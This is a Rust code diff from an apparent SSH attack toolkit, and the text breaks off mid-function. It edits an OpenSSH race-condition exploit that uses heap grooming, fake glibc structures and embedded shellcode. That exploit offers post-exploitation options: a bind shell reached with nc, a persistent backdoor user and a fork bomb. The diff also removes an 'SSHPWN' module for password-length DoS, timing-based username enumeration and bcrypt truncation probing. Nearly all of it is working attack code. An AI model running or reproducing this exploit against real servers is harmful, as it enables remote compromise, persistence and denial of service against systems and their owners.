let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("{}", "Enter port [17086]: ".cyan().bold());
print!("Enter port [17086]: ");
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
-5
View File
@@ -1,6 +1 @@
pub mod opensshserver_9_8p1race_condition;
pub mod sshpwn_sftp_attacks;
pub mod sshpwn_scp_attacks;
pub mod sshpwn_session;
pub mod sshpwn_auth_passwd;
pub mod sshpwn_pam;
@@ -1,7 +1,6 @@
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
@@ -33,27 +32,22 @@ fn chunk_align(s: usize) -> usize {
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
@@ -63,13 +57,12 @@ fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let packet_len = (data.len() + 5) as u32;
stream.write_u32(packet_len).await?;
stream.write_u8(packet_type).await?;
stream.write_all(data).await?;
stream.flush().await?;
let len = data.len() + 5;
let mut packet_data = vec![0u8; len];
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet_data[4] = packet_type;
packet_data[5..].copy_from_slice(data);
stream.write_all(&packet_data).await?;
Ok(())
}
@@ -83,7 +76,7 @@ fn normalize_target(ip: &str, port: u16) -> Result<String> {
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
println!("[*] Connected! Interactive shell below (type 'exit' to quit):");
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
@@ -117,7 +110,7 @@ async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
println!("[*] Shell session ended.");
Ok(())
}
@@ -129,7 +122,6 @@ async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
stream.flush().await?;
Ok(())
}
@@ -137,10 +129,9 @@ async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
Ok(_) => bail!("Connection closed while receiving data"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
continue;
}
Err(e) => return Err(e.into()),
@@ -174,93 +165,73 @@ async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
}
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for _ in 0..10 {
for i in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await?;
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
}
for _ in 0..27 {
for i in 0..27 {
let large_hole = vec![b'B'; 8192];
send_packet(stream, 5, &large_hole).await?;
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &small_hole).await?;
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
}
for _ in 0..27 {
for i in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await?;
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await?;
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data: &[u8] = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
let error_packet_data = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, error_packet_data).await?;
send_packet(stream, 50, &error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = recv_retry(stream, &mut buf).await;
let _ = stream.read(&mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let parsing_time = t2 - t1;
Ok(parsing_time)
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
Ok(t2 - t1)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut final_packet, glibc_base);
let to_send = final_packet.len() - 1;
stream.write_all(&final_packet[..to_send]).await?;
stream.flush().await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if wait_time > 0.0 {
sleep(Duration::from_secs_f64(wait_time)).await;
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut public_key_packet_data, glibc_base);
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time);
}
stream.write_all(&final_packet[to_send..]).await?;
stream.flush().await?;
let mut response = [0u8; 1024];
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
Ok(Ok(n)) if n == 0 => Ok(true),
Ok(Ok(n)) if n > 0 => {
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
Ok(true)
} else {
Ok(false)
}
}
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
println!("Available Post-Ex Actions:");
println!(" 1. Bind Shell (port {})", BIND_SHELL_PORT);
println!(" 2. Persistent user '{}'", PERSISTENT_USER);
println!(" 3. Fork bomb (Denial/Crash)");
println!(" 4. Interactive PTY shell (recommended)");
}
fn get_postex_command(action: u8) -> String {
@@ -279,9 +250,33 @@ fn get_postex_command(action: u8) -> String {
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("[*] Target: {}:{}", target_ip, port_num);
print_post_actions();
print!("Select post-ex action [1-4, default 4]: ");
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("Enter the number of attempts per GLIBC base: ");
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("[!] Invalid input. Please enter a positive integer for the number of attempts.");
}
}
}
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
@@ -293,9 +288,10 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
current_base += GLIBC_STEP;
}
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
println!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP);
println!("[*] Total GLIBC bases to check: {}", glibc_bases.len());
println!("[*] Attempts per GLIBC base: {}", num_attempts_per_base);
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
@@ -306,27 +302,29 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_) => return Ok(false),
Err(_e) => {
return Ok(false);
}
};
if perform_ssh_handshake(&mut stream).await.is_err() {
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
return Ok(false);
}
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_) => return Ok(false),
Err(_e) => {
return Ok(false);
}
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
println!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num);
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
@@ -368,8 +366,6 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
}
return Ok(true);
}
sleep(Duration::from_millis(100)).await;
Ok(false)
}));
}
@@ -379,10 +375,10 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
println!("[SUCCESS] Exploit Succeeded! One of the attempts was successful.");
println!("[*] Check chosen post-exploitation action effects.");
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
println!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT);
}
success_found = true;
break;
@@ -394,8 +390,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
println!("[-] All attempts finished. Exploit likely unsuccessful with current parameters.");
println!("[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.");
}
Ok(())
}
@@ -412,7 +408,7 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
print!("Enter the target port number (e.g., 22): ");
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
@@ -424,37 +420,13 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
println!("[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.");
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
println!("[!] Invalid input. Please enter a valid port number (1-65535).");
}
}
}
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
io::stdout().flush().ok();
let mut choice_str = String::new();
io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
}
execute_exploit_logic(ip_address, port_num).await
}
@@ -1,565 +0,0 @@
//! SSHPWN Auth Password Attack Module
//!
//! Based on OpenSSH 10.0p1 auth2-passwd.c vulnerability analysis
//!
//! AUTH2-PASSWD VULNERABILITIES (auth2-passwd.c):
//! - Password length not explicitly limited - potential DoS via long passwords (LOW)
//! - Password change information disclosure - server fingerprinting (INFO)
//! - Timing attack via mm_auth_password - user enumeration (MEDIUM)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
io::Write,
net::TcpStream,
time::{Duration, Instant},
};
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - Auth Password Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH auth2-passwd.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Password Length DoS Test (sshpkt_get_cstring limit) ║".cyan());
println!("{}", "║ 2. Password Change Information Leak ║".cyan());
println!("{}", "║ 3. Auth Timing Attack (mm_auth_password) ║".cyan());
println!("{}", "║ 4. Bcrypt Length Bypass Test (72-byte limit) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<(f64, bool, String)> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(e) => return Some((0.0, false, format!("Connect failed: {}", e))),
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(e) => return Some((0.0, false, format!("Session failed: {}", e))),
};
sess.set_tcp_stream(tcp);
if let Err(e) = sess.handshake() {
return Some((start.elapsed().as_secs_f64(), false, format!("Handshake failed: {}", e)));
}
// Try authentication
let auth_result = sess.userauth_password(username, password);
let elapsed = start.elapsed().as_secs_f64();
match auth_result {
Ok(_) => Some((elapsed, sess.authenticated(), "OK".to_string())),
Err(e) => Some((elapsed, false, format!("{}", e))),
}
}
/// Password Length DoS Test
///
/// Vulnerability: auth2-passwd.c lines 60-66 - sshpkt_get_cstring() has no explicit limit
/// Very long passwords could cause DoS in downstream bcrypt (72-byte) or PAM modules
pub async fn attack_password_length_dos(
host: &str,
port: u16,
username: &str,
max_length: usize,
) -> Result<bool> {
println!("{}", format!("[*] Password Length DoS Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c sshpkt_get_cstring() no explicit limit".cyan());
println!("{}", "[*] Testing password lengths that may cause downstream issues".cyan());
println!();
// Test progressively longer passwords
let test_lengths = vec![
64, // Normal
72, // bcrypt limit
128, // Double bcrypt
256, // Moderate
512, // Large
1024, // Very large
2048, // Huge
4096, // Extreme
8192, // Maximum test
max_length.min(16384),
];
println!("{}", "[*] Testing password lengths:".cyan());
println!("{}", "[*] Note: bcrypt has 72-byte limit, longer passwords are truncated".dimmed());
println!();
let mut abnormal_behavior = Vec::new();
let mut baseline_time: Option<f64> = None;
for &len in &test_lengths {
if len > max_length {
break;
}
// Generate password of specified length
let password: String = std::iter::repeat('A').take(len).collect();
print!(" Testing {} bytes... ", len);
let _ = std::io::stdout().flush();
match time_auth_attempt(host, port, username, &password, 30) {
Some((time, _success, msg)) => {
// Set baseline from first test
if baseline_time.is_none() {
baseline_time = Some(time);
}
let base = baseline_time.unwrap_or(time);
let ratio = if base > 0.0 { time / base } else { 1.0 };
if time > 10.0 {
println!("{}", format!("SLOW ({:.2}s) - {}", time, msg).yellow());
abnormal_behavior.push((len, time, msg));
} else if ratio > 2.0 {
println!("{}", format!("SLOW ({:.2}s, {:.1}x baseline) - {}", time, ratio, msg).yellow());
abnormal_behavior.push((len, time, msg));
} else {
println!("{}", format!("OK ({:.2}s) - {}", time, msg).green());
}
}
None => {
println!("{}", "Connection failed".red());
}
}
// Small delay between tests
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Password Length DoS Results ===".cyan().bold());
if !abnormal_behavior.is_empty() {
println!("{}", "[VULN] Abnormal behavior detected with long passwords:".red().bold());
for (len, time, msg) in &abnormal_behavior {
println!(" {} bytes: {:.2}s - {}", len, time, msg);
}
println!();
println!("{}", "[*] Server may be vulnerable to password length DoS".yellow());
println!("{}", "[*] Downstream PAM modules or bcrypt may have issues".cyan());
Ok(true)
} else {
println!("{}", "[*] No significant timing variations detected".green());
println!("{}", "[*] Server handles long passwords gracefully".cyan());
Ok(false)
}
}
/// Password Change Information Leak Test
///
/// Vulnerability: auth2-passwd.c line 69 - "password change not supported" logged
/// This reveals server configuration and confirms authentication reached password handler
pub async fn attack_password_change_leak(
host: &str,
port: u16,
) -> Result<bool> {
println!("{}", format!("[*] Password Change Information Leak Test on {}:{}", host, port).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c logs 'password change not supported'".cyan());
println!();
println!("{}", "[*] Testing SSH password change behavior...".cyan());
// Note: SSH2 password change is signaled by a flag in the packet
// We can't easily test this with libssh2, but we can document the vulnerability
println!();
println!("{}", "=== Password Change Information Leak Analysis ===".cyan().bold());
println!();
println!("{}", "[*] Vulnerability Details:".yellow());
println!("{}", " When SSH2_MSG_USERAUTH_REQUEST contains password change flag:".dimmed());
println!("{}", " 1. Server logs 'password change not supported' if unsupported".dimmed());
println!("{}", " 2. This confirms authentication reached password handler".dimmed());
println!("{}", " 3. Reveals server's password change configuration".dimmed());
println!();
println!("{}", "[*] Attack Vectors:".cyan());
println!("{}", " - Server fingerprinting via response timing".dimmed());
println!("{}", " - Configuration enumeration".dimmed());
println!("{}", " - Confirm valid authentication path reached".dimmed());
println!();
println!("{}", "[*] To test manually:".yellow());
println!("{}", " Use SSH client with password change support".dimmed());
println!("{}", " ssh -o KbdInteractiveAuthentication=yes target".dimmed());
println!();
println!("{}", "[INFO] This is an informational vulnerability".yellow());
println!("{}", "[*] Direct exploitation requires custom SSH client".cyan());
Ok(true)
}
/// Auth Timing Attack - User Enumeration via mm_auth_password timing
///
/// Vulnerability: auth2-passwd.c line 70 - Timing depends on downstream implementation
/// Different timing for valid vs invalid users enables enumeration
pub async fn attack_auth_timing(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
) -> Result<Vec<String>> {
println!("{}", format!("[*] Auth Timing Attack on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c mm_auth_password timing".cyan());
println!("{}", "[*] Testing timing differences between valid/invalid users".cyan());
println!();
// Get baseline timing with definitely invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline with invalid user...".cyan());
let mut baseline_times = Vec::new();
for i in 0..samples {
let password = format!("invalid_{}_{}", std::process::id(), i);
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, &password, 15) {
baseline_times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if baseline_times.is_empty() {
println!("{}", "[-] Could not establish baseline".red());
return Ok(Vec::new());
}
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
let baseline_stddev = (baseline_times.iter()
.map(|t| (t - baseline).powi(2))
.sum::<f64>() / baseline_times.len() as f64).sqrt();
println!("{}", format!("[*] Baseline: {:.3}s ± {:.3}s", baseline, baseline_stddev).cyan());
println!();
// Test empty password timing (potential gap per vulnerability #3)
println!("{}", "[*] Testing empty password timing (potential mitigation gap)...".cyan());
let mut empty_times = Vec::new();
for _ in 0..samples {
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, "", 15) {
empty_times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if !empty_times.is_empty() {
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
let diff = empty_avg - baseline;
if diff.abs() > baseline_stddev * 2.0 {
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
println!("{}", "[*] Possible timing attack via empty password".yellow());
} else {
println!("{}", format!("[*] Empty password: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
}
}
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
let threshold = baseline_stddev * 3.0 + 0.1; // 3 sigma + 100ms
for user in usernames {
print!("\r[*] Testing: {} ", user);
let _ = std::io::stdout().flush();
let mut times = Vec::new();
for i in 0..samples {
let password = format!("invalid_test_{}_{}", std::process::id(), i);
if let Some((time, _, _)) = time_auth_attempt(host, port, user, &password, 15) {
times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if !times.is_empty() {
let avg = times.iter().sum::<f64>() / times.len() as f64;
let diff = avg - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Potential valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
}
println!("\r ");
println!();
println!("{}", "=== Auth Timing Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users detected via timing".yellow());
println!("{}", "[*] Server may have proper timing mitigation (fakepw/fake_password)".cyan());
} else {
println!("{}", format!("[+] Potentially valid users ({}):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
Ok(valid_users)
}
/// Bcrypt 72-byte Limit Bypass Test
///
/// Vulnerability: bcrypt only uses first 72 bytes of password
/// Passwords longer than 72 bytes are effectively truncated
pub async fn attack_bcrypt_truncation(
host: &str,
port: u16,
username: &str,
base_password: &str,
) -> Result<bool> {
println!("{}", format!("[*] Bcrypt 72-byte Truncation Test on {}", host).cyan());
println!("{}", "[*] Testing if server uses bcrypt with 72-byte password limit".cyan());
println!();
// bcrypt only uses first 72 bytes
let truncation_point = 72;
// If base password is shorter than 72, pad it
let test_base: String = if base_password.len() < truncation_point {
format!("{}{}", base_password, "A".repeat(truncation_point - base_password.len()))
} else {
base_password.chars().take(truncation_point).collect()
};
// Create variants that differ only after 72 bytes
let password_72 = test_base.clone();
let password_73 = format!("{}X", test_base);
let password_100 = format!("{}{}", test_base, "X".repeat(28));
println!("{}", format!("[*] Testing password variants (first 72 chars: '{}'...)", &test_base[..20.min(test_base.len())]).cyan());
println!("{}", format!(" Password A: {} bytes (baseline)", password_72.len()).dimmed());
println!("{}", format!(" Password B: {} bytes (differs at byte 73)", password_73.len()).dimmed());
println!("{}", format!(" Password C: {} bytes (differs at bytes 73-100)", password_100.len()).dimmed());
println!();
// Test each password
let passwords = vec![
("72-byte", &password_72),
("73-byte", &password_73),
("100-byte", &password_100),
];
let mut results = Vec::new();
for (name, password) in &passwords {
print!("[*] Testing {} password... ", name);
let _ = std::io::stdout().flush();
match time_auth_attempt(host, port, username, password, 15) {
Some((time, success, msg)) => {
results.push((name.to_string(), time, success, msg.clone()));
if success {
println!("{}", "SUCCESS".green().bold());
} else {
println!("{}", format!("{:.2}s - {}", time, msg).dimmed());
}
}
None => {
println!("{}", "Connection failed".red());
}
}
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Bcrypt Truncation Analysis ===".cyan().bold());
// Check if timing is consistent (would indicate truncation)
if results.len() >= 2 {
let time_72 = results.get(0).map(|r| r.1).unwrap_or(0.0);
let time_73 = results.get(1).map(|r| r.1).unwrap_or(0.0);
let time_100 = results.get(2).map(|r| r.1).unwrap_or(0.0);
let diff_73 = (time_73 - time_72).abs();
let diff_100 = (time_100 - time_72).abs();
if diff_73 < 0.1 && diff_100 < 0.1 {
println!("{}", "[*] Timing consistent across all lengths".yellow());
println!("{}", "[*] Server may be using bcrypt (72-byte truncation)".cyan());
println!();
println!("{}", "[!] Implication: Passwords >72 bytes provide no extra security".yellow().bold());
println!("{}", "[*] Password 'AAAA...AAA' (72) == 'AAAA...AAAXXX' (75)".dimmed());
return Ok(true);
}
}
println!("{}", "[*] Timing varies - server may not use bcrypt or has different handling".cyan());
println!("{}", "[*] Cannot confirm 72-byte truncation".dimmed());
Ok(false)
}
/// Prompt helpers
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames for timing attack
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "nobody",
"mysql", "postgres", "oracle", "ftp", "ssh",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Password Length DoS Test");
println!(" 2. Password Change Information Leak (Analysis)");
println!(" 3. Auth Timing Attack (User Enumeration)");
println!(" 4. Bcrypt 72-byte Truncation Test");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3")?;
match mode.as_str() {
"1" => {
let username = prompt_default("Username to test", "root")?;
let max_len: usize = prompt_default("Maximum password length", "8192")?.parse().unwrap_or(8192);
attack_password_length_dos(&host, port, &username, max_len).await?;
}
"2" => {
attack_password_change_leak(&host, port).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true)? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)")?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
if !user.is_empty() && !usernames.contains(&user.to_string()) {
